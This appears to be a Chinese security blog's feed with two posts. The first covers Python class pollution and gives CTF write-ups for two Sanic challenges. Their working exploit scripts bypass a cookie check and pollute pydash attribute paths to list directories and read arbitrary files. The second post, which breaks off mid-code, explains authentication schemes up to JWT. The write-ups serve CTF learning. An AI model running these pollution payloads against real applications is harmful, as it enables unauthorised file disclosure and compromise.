class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">father</span>:</span><br><span class="line">    secret = <span class="string">&quot;hello&quot;</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">son_a</span>(<span class="title class_ inherited__">father</span>):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">son_b</span>(<span class="title class_ inherited__">father</span>):</span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">merge</span>(<span class="params">src, dst</span>):</span><br><span class="line">    <span class="keyword">for</span> k, v <span class="keyword">in</span> src.items():</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">hasattr</span>(dst, <span class="string">&#x27;__getitem__&#x27;</span>):</span><br><span class="line">            <span class="keyword">if</span> dst.get(k) <span class="keyword">and</span> <span class="built_in">type</span>(v) == <span class="built_in">dict</span>:</span><br><span class="line">                merge(v, dst.get(k))</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                dst[k] = v</span><br><span class="line">        <span class="keyword">elif</span> <span class="built_in">hasattr</span>(dst, k) <span class="keyword">and</span> <span class="built_in">type</span>(v) == <span class="built_in">dict</span>:</span><br><span class="line">            merge(v, <span class="built_in">getattr</span>(dst, k))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">setattr</span>(dst, k, v)</span><br><span class="line">instance = son_b()</span><br><span class="line">payload = &#123;</span><br><span class="line">    <span class="string">&quot;__class__&quot;</span> : &#123;</span><br><span class="line">        <span class="string">&quot;__base__&quot;</span> : &#123;</span><br><span class="line">            <span class="string">&quot;secret&quot;</span> : <span class="string">&quot;world&quot;</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">print</span>(son_a.secret)</span><br><span class="line"><span class="comment">#hello</span></span><br><span class="line"><span class="built_in">print</span>(instance.secret)</span><br><span class="line"><span class="comment">#hello</span></span><br><span class="line">merge(payload, instance)</span><br><span class="line"><span class="built_in">print</span>(son_a.secret)</span><br><span class="line"><span class="comment">#world</span></span><br><span class="line"><span class="built_in">print</span>(instance.secret)</span><br><span class="line"><span class="comment">#world</span></span><br></pre></td></tr></table></figure></div><h2 id="ciscn2024-sanic"><a class="markdownIt-Anchor" href="#ciscn2024-sanic">#</a> CISCN2024 - sanic</h2><p><a class="link" href="https://www.cnblogs.com/gxngxngxn/p/18205235">CISCN2024-WEB-Sanic gxngxngxn - gxngxngxn - 博客园 (cnblogs.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>源码：</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sanic <span class="keyword">import</span> Sanic</span><br><span class="line"><span class="keyword">from</span> sanic.response <span class="keyword">import</span> text, html</span><br><span class="line"><span class="keyword">from</span> sanic_session <span class="keyword">import</span> Session</span><br><span class="line"><span class="keyword">import</span> pydash</span><br><span class="line"><span class="comment"># pydash==5.1.2</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Pollute</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">app = Sanic(__name__)</span><br><span class="line">app.static(<span class="string">&quot;/static/&quot;</span>, <span class="string">&quot;./static/&quot;</span>)</span><br><span class="line">Session(app)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>, <span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">index</span>(<span class="params">request</span>):</span><br><span class="line">    <span class="keyword">return</span> html(<span class="built_in">open</span>(<span class="string">&#x27;static/index.html&#x27;</span>).read())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/login&quot;</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">request</span>):</span><br><span class="line">    user = request.cookies.get(<span class="string">&quot;user&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> user.lower() == <span class="string">&#x27;adm;n&#x27;</span>:</span><br><span class="line">        request.ctx.session[<span class="string">&#x27;admin&#x27;</span>] = <span class="literal">True</span></span><br><span class="line">        <span class="keyword">return</span> text(<span class="string">&quot;login success&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> text(<span class="string">&quot;login fail&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/src&quot;</span></span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">src</span>(<span class="params">request</span>):</span><br><span class="line">    <span class="keyword">return</span> text(<span class="built_in">open</span>(__file__).read())</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&quot;/admin&quot;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>, <span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">admin</span>(<span class="params">request</span>):</span><br><span class="line">    <span class="keyword">if</span> request.ctx.session.get(<span class="string">&#x27;admin&#x27;</span>) == <span class="literal">True</span>:</span><br><span class="line">        key = request.json[<span class="string">&#x27;key&#x27;</span>]</span><br><span class="line">        value = request.json[<span class="string">&#x27;value&#x27;</span>]</span><br><span class="line">        <span class="keyword">if</span> key <span class="keyword">and</span> value <span class="keyword">and</span> <span class="built_in">type</span>(key) <span class="keyword">is</span> <span class="built_in">str</span> <span class="keyword">and</span> <span class="string">&#x27;_.&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> key:</span><br><span class="line">            pollute = Pollute()</span><br><span class="line">            pydash.set_(pollute, key, value)</span><br><span class="line">            <span class="keyword">return</span> text(<span class="string">&quot;success&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">return</span> text(<span class="string">&quot;forbidden&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> text(<span class="string">&quot;forbidden&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(host=<span class="string">&#x27;0.0.0.0&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407251331059.png" alt="image-20240725133112888"></p><p>/admin forbidden</p><p>通过用八进制 adm\073n 绕过 <code>cookie</code> （ RFC2068 的编码规则）</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407251350127.png" alt="image-20240725135032011"></p><p>exp:</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"> </span><br><span class="line">url = <span class="string">&#x27;http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show&#x27;</span></span><br><span class="line"> </span><br><span class="line">s = requests.Session()</span><br><span class="line"> </span><br><span class="line">s.cookies.update(&#123;</span><br><span class="line">    <span class="string">&#x27;user&#x27;</span>: <span class="string">&#x27;&quot;adm\\073n&quot;&#x27;</span></span><br><span class="line">&#125;)</span><br><span class="line"> </span><br><span class="line">s.get(url + <span class="string">&#x27;/login&#x27;</span>)</span><br><span class="line"> </span><br><span class="line"><span class="comment"># 开启目录浏览</span></span><br><span class="line">data = &#123;<span class="string">&quot;key&quot;</span>: <span class="string">&quot;__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view&quot;</span>, <span class="string">&quot;value&quot;</span>: <span class="literal">True</span>&#125;</span><br><span class="line"> </span><br><span class="line"><span class="comment"># 污染目录路径</span></span><br><span class="line"><span class="comment"># data = &#123;&quot;key&quot;: &quot;__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts&quot;, &quot;value&quot;: [&#x27;/&#x27;]&#125;</span></span><br><span class="line"> </span><br><span class="line">r = s.post(url + <span class="string">&#x27;/admin&#x27;</span>, json=data)</span><br><span class="line"><span class="built_in">print</span>(r.text)</span><br><span class="line"> </span><br><span class="line"><span class="comment"># 获取flag路径</span></span><br><span class="line"><span class="comment"># r = s.get(url + &#x27;/static/&#x27;)</span></span><br><span class="line"><span class="comment"># print(r.text)</span></span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="comment">#污染__file__，读取flag</span></span><br><span class="line"><span class="comment"># data = &#123;&quot;key&quot;: &quot;__class__\\\\.__init__\\\\.__globals__\\\\.__file__&quot;, &quot;value&quot;: &quot;/24bcbd0192e591d6ded1_flag&quot;&#125;</span></span><br><span class="line">r = s.post(url + <span class="string">&#x27;/admin&#x27;</span>, json=data)</span><br><span class="line"><span class="built_in">print</span>(r.text)</span><br><span class="line"><span class="built_in">print</span>(s.get(url + <span class="string">&#x27;/src&#x27;</span>).text)</span><br></pre></td></tr></table></figure></div><h2 id="dasctf2024七月-sanics-revenge"><a class="markdownIt-Anchor" href="#dasctf2024七月-sanics-revenge">#</a> DasCTF2024 七月 - Sanic’s revenge</h2><p><a class="link" href="https://www.cnblogs.com/gxngxngxn/p/18290489">DASCTF 2024 暑期挑战赛 - WEB-Sanic’s revenge gxngxngxn - gxngxngxn - 博客园 (cnblogs.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>exp:</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line"><span class="comment">#开启列目录</span></span><br><span class="line"><span class="comment">#data = &#123;&quot;key&quot;:&quot;__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view&quot;,&quot;value&quot;: True&#125;</span></span><br><span class="line"><span class="comment">#将目录设置在根目录下</span></span><br><span class="line"><span class="comment">#data = &#123;&quot;key&quot;:&quot;__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts&quot;,&quot;value&quot;: &quot;/&quot;&#125;</span></span><br><span class="line"><span class="comment">#修改默认路径</span></span><br><span class="line">data=&#123;<span class="string">&quot;key&quot;</span>:<span class="string">&quot;__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.file_or_directory&quot;</span>,<span class="string">&quot;value&quot;</span>: <span class="string">&quot;/&quot;</span>&#125;</span><br><span class="line"><span class="comment">#构造current</span></span><br><span class="line"><span class="comment">#data = &#123;&quot;key&quot;:&quot;__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base&quot;,&quot;value&quot;: &quot;static/fJBkhI&quot;&#125;</span></span><br><span class="line"></span><br><span class="line">response = requests.post(url=<span class="string">&#x27;url&#x27;</span>, json=data)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(response.text)</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;python原型链污染&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#python原型链污染&quot;&gt;#&lt;/a&gt; Python 原型链污染&lt;/h2&gt;
&lt;p&gt;之前有写过 JS 原型链污染&lt;a class=&quot;link&quot; href=&quot;https:/</summary>
      
    
    
    
    <category term="Web Vulnerabilities" scheme="http://example.com/categories/Web-Vulnerabilities/"/>
    
    
  </entry>
  
  <entry>
    <title>Authentication</title>
    <link href="http://example.com/2024/07/17/Authentication/"/>
    <id>http://example.com/2024/07/17/Authentication/</id>
    <published>2024-07-17T09:06:22.000Z</published>
    <updated>2024-08-28T06:50:52.052Z</updated>
    
    <content type="html"><![CDATA[<h2 id="鉴权authentication"><a class="markdownIt-Anchor" href="#鉴权authentication">#</a> 鉴权（Authentication）</h2><p>鉴权是指验证用户是否拥有访问系统的权利。传统的鉴权是通过密码来验证的。这种方式的前提是，每个获得密码的用户都已经被授权。这种方式的弱点十分明显：一旦密码被偷或用户遗失密码，情况就会十分麻烦，需要管理员对用户密码进行重新修改，而修改密码之前还要人工验证用户的合法身份。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407171712241.png" alt="image-20240717171243051"></p><p><strong>主要鉴权的方法</strong></p><blockquote><ul><li>HTTP Basic Authentication</li><li>Session-Cookie</li><li>Token</li><li>OAuth</li><li>LDAP</li></ul></blockquote><p>另外还有一些基于基本认证方式搭建的鉴权体系，比如 <code>SSO</code>   <code>JWT</code></p><h3 id="http-basic-authentication"><a class="markdownIt-Anchor" href="#http-basic-authentication">#</a> HTTP Basic Authentication</h3><p>HTTP Basic Authentication 通过在<strong> HTTP 请求头</strong>中传递用户的用户名和密码进行身份验证</p><p>1.<strong> 客户端请求访问受保护的资源</strong>：客户端尝试访问服务器上的受保护资源。</p><div class="highlight-container" data-rel="Vb"><figure class="iseeu highlight vb"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> /<span class="keyword">protected</span>-resource HTTP/<span class="number">1.1</span></span><br><span class="line"><span class="symbol">Host:</span> example.com</span><br></pre></td></tr></table></figure></div><p>2.<strong> 服务器响应 401 未授权状态码</strong>：服务器响应一个 401 未授权状态码，并在响应头中包含一个  <code>WWW-Authenticate</code>  头，提示客户端需要进行 Basic 认证。</p><div class="highlight-container" data-rel="Mathematica"><figure class="iseeu highlight mathematica"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">HTTP</span><span class="operator">/</span><span class="number">1.1</span> <span class="number">401</span> <span class="variable">Unauthorized</span></span><br><span class="line"><span class="variable">WWW</span><span class="operator">-</span><span class="built_in">Authenticate</span><span class="operator">:</span> <span class="variable">Basic</span> <span class="variable">realm</span><span class="operator">=</span><span class="string">&quot;Access to the protected resource&quot;</span></span><br></pre></td></tr></table></figure></div><p>3.<strong> 客户端提供凭证</strong>：客户端接收到 401 响应后，会在后续请求的头部添加一个  <code>Authorization</code>  头，包含 Base64 编码的用户名和密码。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">GET /protected-resource HTTP/1.1</span><br><span class="line">Host: example.com</span><br><span class="line">Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l</span><br></pre></td></tr></table></figure></div><p>4.<strong> 服务器验证凭证</strong>：服务器解码并验证用户名和密码，如果验证成功，则允许访问资源，否则返回 401 未授权状态码。</p><p>虽然 HTTP Basic Authentication 简单易用，但由于凭证是以 Base64 编码的形式传输的，未经加密，存在一定的安全风险：</p><ul><li><strong>中间人攻击（MITM）</strong>：在未加密的 HTTP 连接中，攻击者可以轻易截获和解码凭证。</li><li><strong>重放攻击</strong>：攻击者可以捕获并重放请求，冒充合法用户访问资源。</li></ul><h3 id="session-cookie"><a class="markdownIt-Anchor" href="#session-cookie">#</a> Session-Cookie</h3><h4 id="cookie"><a class="markdownIt-Anchor" href="#cookie">#</a> Cookie</h4><p><code>Cookie</code>  是<strong>服务器发送到用户浏览器</strong>并保存在<strong>本地</strong>的一小块数据。浏览器会存储 <code>cookie</code>  并在下次向同一服务器<strong>再发起请求时携带并发送到服务器</strong>上。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">HTTP/1.0 200 OK</span><br><span class="line">Content-type: text/html</span><br><span class="line">Set-Cookie: yummy_cookie=choco</span><br><span class="line">Set-Cookie: tasty_cookie=strawberry</span><br></pre></td></tr></table></figure></div><p>设定 Cookie 时可以设定一些参数， <code>Expires</code>  过期时间， <code>Secure</code>   <code>HttpOnly</code>  限制访问， <code>Domain</code>   <code>Path</code>  定义 Cookie 作用域， <code>SameSite</code>  设置跨站发送限制，还有 <code>__Host-</code>  和 <code>__Secure-</code>  前缀用于断言特定事实</p><p>主要有三方面功能：</p><ul><li><strong>会话状态管理</strong> 如用户登录状态、购物车、游戏分数或其他需要记录的信息</li><li><strong>个性化设置</strong> 如用户自定义设置、主题和其他设置</li><li><strong>浏览器行为跟踪</strong> 如跟踪分析用户行为等</li></ul><h4 id="session"><a class="markdownIt-Anchor" href="#session">#</a> Session</h4><ol><li><strong>服务端</strong>在接收到来自<strong>客户端的首次访问</strong>时，会自动创建 Session（将 Session <strong>保存在内存中</strong>，也可以保存在  <code>Redis </code> 中），然后给这个 Session 生成一个唯一的标识字符串会话身份凭证  <code>session_id</code> （即  <code>sid</code> ），并在响应头  <code>Set-Cookie</code>  中设置这个唯一标识符</li><li>（非必须）签名，对  <code>sid</code>  进行加密处理，服务端会根据这个  <code>secret</code>  密钥进行解密</li><li>浏览器收到请求响应后会解析响应头，并自动将  <code>sid</code>  保存在本地 Cookie 中，浏览器在下次 HTTP 请求时请求头会自动附带上该域名下的 Cookie 信息</li><li>服务端在接收客户端请求时会去解析请求头 Cookie 中的  <code>sid</code> ，然后根据这个  <code>sid</code>  去找服务端保存的该客户端的  <code>sid</code> ，然后判断该请求是否合法</li><li>一旦用户登出，服务端和浏览器将会同时销毁各自保存的会话 ID，服务端会根据数据库验证会话身份凭证，如果验证通过，则继续处理</li></ol><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407171724413.jpeg" alt="session-cookie"></p><p><strong>1、存储位置不同</strong></p><blockquote><p>cookie 的数据信息存放在客户端浏览器上。</p><p>session 的数据信息存放在服务器上。</p></blockquote><p><strong>2、存储容量不同</strong></p><blockquote><p>单个 cookie 保存的数据 &lt;=4KB，一个站点最多保存 20 个 Cookie。</p><p>对于 session 来说并没有上限，但出于对服务器端的性能考虑，session 内不要存放过多的东西，并且设置 session 删除机制。</p></blockquote><p>3、存储方式不同</p><blockquote><p>cookie 中只能保管 ASCII 字符串，并需要通过编码方式存储为 Unicode 字符或者二进制数据。</p><p>session 中能够存储任何类型的数据，包括且不限于 string，integer，list，map 等。</p></blockquote><p><strong>4、隐私策略不同</strong></p><blockquote><p>cookie 对客户端是可见的，别有用心的人可以分析存放在本地的 cookie 并进行 cookie 欺骗，所以它是不安全的。</p><p>session 存储在服务器上，对客户端是透明对，不存在敏感信息泄漏的风险。</p></blockquote><p><strong>5、有效期上不同</strong></p><blockquote><p>开发可以通过设置 cookie 的属性，达到使 cookie 长期有效的效果。</p><p>session 依赖于名为 JSESSIONID 的 cookie，而 cookie JSESSIONID 的过期时间默认为 - 1，只需关闭窗口该 session 就会失效，因而 session 不能达到长期有效的效果。</p></blockquote><p><strong>6、服务器压力不同</strong></p><blockquote><p>cookie 保管在客户端，不占用服务器资源。对于并发用户十分多的网站，cookie 是很好的选择。</p><p>session 是保管在服务器端的，每个用户都会产生一个 session。假如并发访问的用户十分多，会产生十分多的 session，耗费大量的内存。</p></blockquote><p><strong>7、浏览器支持不同</strong></p><blockquote><p>假如客户端浏览器不支持 cookie： cookie 是需要客户端浏览器支持的，假如客户端禁用了 cookie，或者不支持 cookie，则会话跟踪会失效。关于 WAP 上的应用，常规的 cookie 就派不上用场了。</p><p>运用 session 需要使用 URL 地址重写的方式。一切用到 session 程序的 URL 都要进行 URL 地址重写，否则 session 会话跟踪还会失效。</p></blockquote><h3 id="token"><a class="markdownIt-Anchor" href="#token">#</a> Token</h3><blockquote><p>很多公有 API 和开发框架的内部 API 调用都是基于 Token 认证</p></blockquote><p>Token 和 Session-Cookie 认证方式中的 Session ID 不同，并非只是一个标识符。Token 一般会<strong>包含用户的相关信息</strong>，通过验证 Token 不仅可以完成身份校验，还可以<strong>获取预设的信息</strong>。</p><p>流程中的主要特点：</p><ol><li>Token 储存在客户端</li><li>后续 Token 被附带于 <code>Authorization</code>  字段中，</li><li>客户端负责校验 Token 的结构内容是否符合要求</li></ol><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407171730988.jpeg" alt="Token"></p><p>优点：服务端无状态，无需访问远程访问或数据库，支持跨域跨程序调用，可以有效避免 CSRF（无 cookie）</p><p>缺点：更大占带宽，需要解密消耗性能</p><h4 id="session-cookie-和-token-的对比"><a class="markdownIt-Anchor" href="#session-cookie-和-token-的对比">#</a> Session-Cookie 和 Token 的对比</h4><p>Session-Cookie 认证仅仅靠的是  <code>sid</code>  这个生成的唯一标识符，服务端需要根据客户端传来的  <code>sid</code>  查询保存在服务端 Session 里保存的登录状态，当存储的信息数据量超过一定量时会影响服务端的处理效能。而且 Session-Cookie 认证需要靠浏览器的 Cookie 机制实现，如果遇到原生  <code>NativeAPP</code>  时这种机制就不起作用了，或是浏览器的 Cookie 存储功能被禁用，也是无法使用该认证机制实现鉴权的。</p><p>Token 认证机制特别的是，实质上登录状态是用户登录后存放在客户端的，服务端不会充当保存  <code>用户信息凭证</code>  的角色，当每次客户端请求时附带该凭证，只要服务端根据定义的规则校验是否匹配和合法即可，客户端存储的手段也不限于 Cookie，可以使用 Web Storage 等其他缓存方式。</p><p>简单来说，Session-Cookie 机制限制了客户端的类型，而 Token 验证机制丰富了客户端类型。而且 Token 机制更像是一种框架，可供用户更灵活地构建鉴权微服务</p><h3 id="oauth"><a class="markdownIt-Anchor" href="#oauth">#</a> OAuth</h3><p>OAuth（开放授权）是一个开发标准，允许用户授权 <strong>第三方网站</strong> 访问他们存储在另外的服务提供商中的信息，而不需要接触到用户名和密码。为了保护数据的安全和隐私，第三方网站访问用户数据前都需要 <strong>显式地向用户征求授权</strong>。我们常见的 OAuth 认证服务的厂商有微信、QQ、支付宝等。</p><p>OAuth 协议又有 1.0 和 2.0 两个版本，2.0 版整个授权验证流程更简单更安全，也是目前最主要的用户身份验证和授权方式。</p><p>应用场景有：第三方应用的接入、微服务鉴权互信、接入第三方平台、第一方密码登录等</p><p><a class="link" href="https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html">理解 OAuth 2.0 - 阮一峰的网络日志 (ruanyifeng.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="ldap"><a class="markdownIt-Anchor" href="#ldap">#</a> LDAP</h3><p>轻量目录访问协议 <code>Lightweight Directory Access Protocol</code> ，一个开放、广泛被使用的工业标准（IEFT、RFC）。企业级软件也通常具备 *<em> 支持 LDAP</em>- 的功能，比如 Jira、Confluence、OpenVPN 等，企业也经常采用 LDAP 服务器来作为企业的认证源和数据源。</p><p>它的主要功能点或场景：</p><ul><li>作为数据源它可以用于存储<ul><li>企业的组织架构树</li><li>企业员工信息</li><li>证书信息</li><li>会议室，打印机等等资源</li></ul></li><li>作为认证源，它也有多种用途<ul><li>存储用户的密码</li><li>对外提供 LDAP 协议的认证方式（通过 LDAP BIND 协议来校验用户名和密码）</li><li>密码策略（密码复杂度，历史密码记录，用户锁定等等）</li></ul></li></ul><h3 id="sso"><a class="markdownIt-Anchor" href="#sso">#</a> SSO</h3><h4 id="同域-ssosession-cookie"><a class="markdownIt-Anchor" href="#同域-ssosession-cookie">#</a> 同域 SSO（Session-Cookie）</h4><blockquote><p>实际就是利用 Session-Cookie 的特性</p></blockquote><p>当存在两个相同域名下的系统 A  <code>a.abc.com</code>  和系统 B  <code>b.abc.com</code>  时，以下为他们实现 SSO 的步骤：</p><ol><li>用户访问某个子系统时（例如  <code>a.abc.com</code> ），如果没有登录，则跳转至 SSO 认证中心提供的登录页面进行登录</li><li>登录认证后，服务端把登录用户的信息存储于 Session 中，并为用户生成对应的会话身份凭证附加在响应头的  <code>Set-Cookie</code>  字段中，随着请求返回写入浏览器中，并回跳到设定的子系统链接中</li><li>下次发送请求时，当用户访问同域名的系统 B 时，由于 A 和 B 在相同域名下，也是  <code>abc.com</code> ，浏览器会自动带上之前的 Cookie。此时服务端就可以通过该 Cookie 来验证登录状态了。</li></ol><h4 id="跨域-ssocas"><a class="markdownIt-Anchor" href="#跨域-ssocas">#</a> 跨域 SSO（CAS）</h4><blockquote><p>其实这个才是 SSO 的标准实现，基于 CAS</p></blockquote><p><strong>CAS</strong>（Central Authentication Service）中央授权服务，本身是一个开源协议，分为 1.0 版本和 2.0 版本。1.0 称为基础模式，2.0 称为代理模式，适用于存在非 Web 应用之间的单点登录。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407171739645.jpeg" alt="jwt-cas"></p><p><a class="link" href="https://www.cnblogs.com/wangsongbai/p/10299655.html">一篇文章彻底弄懂 CAS 实现 SSO 单点登录原理 - Hi，王松柏 - 博客园 (cnblogs.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="jwt"><a class="markdownIt-Anchor" href="#jwt">#</a> ⭐ JWT</h3><p>JSON Web Token (JWT) 是一个开放标准 (RFC 7519) ，它定义了一种紧凑和自包含的方式， <strong>用于作为 JSON 对象在各方之间安全地传输信息</strong>。此信息可以进行验证和信任，因为它是经过数字签名的。JWT 可以使用机密 (使用 HMAC 算法) 或使用 RSA 或 ECDSA 的公钥 / 私钥对进行签名。<br>虽然可以对 JWT 进行加密，以便在各方之间提供保密性，但是我们将关注已签名的 Token。签名 Token 可以验证其中包含的声明的完整性，而加密 Token 可以向其他方隐藏这些声明。当使用公钥 / 私钥对对令牌进行签名时，该签名还证明只有持有私钥的一方才是对其进行签名的一方 ( <strong>签名技术是保证传输的信息不被篡改，并不能保证信息传输的安全</strong> )。</p><h4 id="jwt的结构"><a class="markdownIt-Anchor" href="#jwt的结构">#</a> JWT 的结构</h4><ul><li>Header</li><li>Payload</li><li>Signature</li></ul><p>类似于 xxxx.xxxx.xxxx 格式，真实情况如下:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span 